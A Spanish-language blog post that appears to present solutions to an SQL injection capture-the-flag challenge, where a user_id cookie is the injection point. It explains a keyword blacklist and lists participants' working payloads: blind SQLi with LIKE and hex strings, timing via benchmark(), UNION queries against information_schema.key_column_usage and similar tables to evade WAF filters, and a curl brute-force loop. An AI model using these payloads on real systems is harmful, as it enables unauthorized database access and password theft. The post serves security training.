Soluciones para reto 2A de Inyección SQL
Después de recibir muchas soluciones para el reto 2A de los retos de inyección SQL, decidí que era hora de mostrar algunas de las soluciones utilizadas para resolver este problema. En caso de que se haya perdido la serie de desafíos de inyección SQL que publiqué hace unos meses, aún los puede encontrar disponibles. Hay 3 desafíos, cada uno con parte A y B. De todos los retos, el 2A terminó siendo uno de los más fáciles, y ya que las soluciones no variaron demasiado, decidí publicar primero las soluciones de este reto.
Explicación
IMPORTANTE: Si aún no has intentado el reto, lo puedes encontrar aquí en caso de que lo quieres intentar antes de ver la respuesta.
Lo que diferencía a este reto de los otros es que puedes logearte como invitado. Al hacerlo se crea la cookie user_id y se despliega un mensaje que muestra el nombre de usuario y sus privilegios. La cookie user_id como su nombre lo indica contiene el id del usuario, que es 1 en el caso del invitado. Si el valor de la cookie es cambiado a 0, el mensaje ahora muestra "admin" como el nombre del usuario y con privilegios de administrador. Esto es un indicador de que este puede ser el punto de inyección ya que sabemos que esta consultando esta información en la base de datos. Ahora que conocemos el punto de inyección, el siguiente paso es identificar que caracteres están filtrados.
La idea principal detrás de este reto es encontrar una forma para obtener los nombres de las tablas/columnas sin utilizar information_schema.tables/columns. Por esta razón he decidido utilizar poco filtrado. Inicialmente tenia bloqueados los siguientes caracteres:
$blacklist = array('tables', 'columns', '(', ')');
Muchos WAFs (Web Application Firewalls) bloquean las palabras 'tables' y 'columns', así que quise demostrar que un atacante no necesita esas palabras para obtener los nombres de las tablas y columnas; agregué mysql_real_escape_string() para hacerlo un poco más difícil. En resumen, existen otras tablas de las cuales podemos obtener esta información. La única condición es que algunas requieren que las tablas y columnas tengan una key, y como cada tabla debería tener primary keys, hay una buena posibilidad de que esto funcione. Algunos ejemplos son:
information_schema.key_column_usage
information_schema.table_constraints
information_schema.statistics
information_schema.partitions
Algunos de los métodos de solución que recibí no los esperaba a la hora de escribir el reto. Este tipo de solución adivinaba el nombre de las columnas y extraía el password usando Blind SQLi. Previamente debí de haber agregado algún prefijo aleatorio a los nombres de columnas para que no sean adivinados tan fácilmente ya que eran 'username' y 'password'. Aprendí algo en consecuencia de esto: Se que el LIKE statement no requiere comillas, lo que no sabía era que puedes usar wildcards como % y ? sin las comillas. A continuación presento las soluciones enviadas.
Soluciones
Raz0r/BlackFan:
La solución ha sido omitida ya que puede ser usada para resolver el reto 2B.
Primera Categoría
FluxReiners:
user_id=0 and username='admin' and mid(password,1,1)='e'
Team Rebel:
user_id=0 and 1=(IF(ascii(substring(password,1,1))>100, (select benchmark(100000000,md5(0x41))), false))
p____h:
user_id=0 and password LIKE "el%uitas"
NULL Life:
Mando un script en PHP.
mortis:
user_id=0 and username=0x656c25
tlk:
user_id=-1 OR password LIKE BINARY 0x{chars}25
g4mm4:
user_id=0 and password like binary 0x456c25
Mando un script en Python.
w00d:
user_id=0 and password like 0x[blind-here]25
gijs:
userid=0 and password >= BINARY 0x41
Karion:
for i in {2,3,4,5}; do for j in {0,1,2,3,4,5,6,7,8,9,0,A,B,C,D,E,F,G} ; do echo $i$j ; curl http://50.57.51.240/challenges/2A/challenge.php -b "user_id=0 and password LIKE 0x454C5F564552475549544153${i}${j}25" 2>&1 | grep ADMIN ;done ;done
Segunda Categoría
Sebastien Blot:
userid=-1+union+select+1,2,table_name,4+from+information_schema.key_column_usage+limit+2,1--
Miroslav Stampar:
user_id=-1 UNION ALL SELECT 1,2,TABLE_NAME,4 FROM information_schema.TABLE_CONSTRAINTS LIMIT 2,3
Paul da Silva:
userid=-1 union select null,COLUMN_NAME,TABLE_NAME,null from information_schema.KEY_COLUMN_USAGE where table_name<>0x7265676c6173 and table_name<>0x72756c6573 limit 0,1--
Dominus:
user_id=0+and+0=1+union+select+1,2,table_name,4+from+information_schema.statistics+limit+2,1
Un listado de todos los ganadores esta disponible aquí.


Soluciones para reto 2A de Inyección SQL
YOUTUBE
TWITTER
FACEBOOK
RSS
CONTÁCTANOS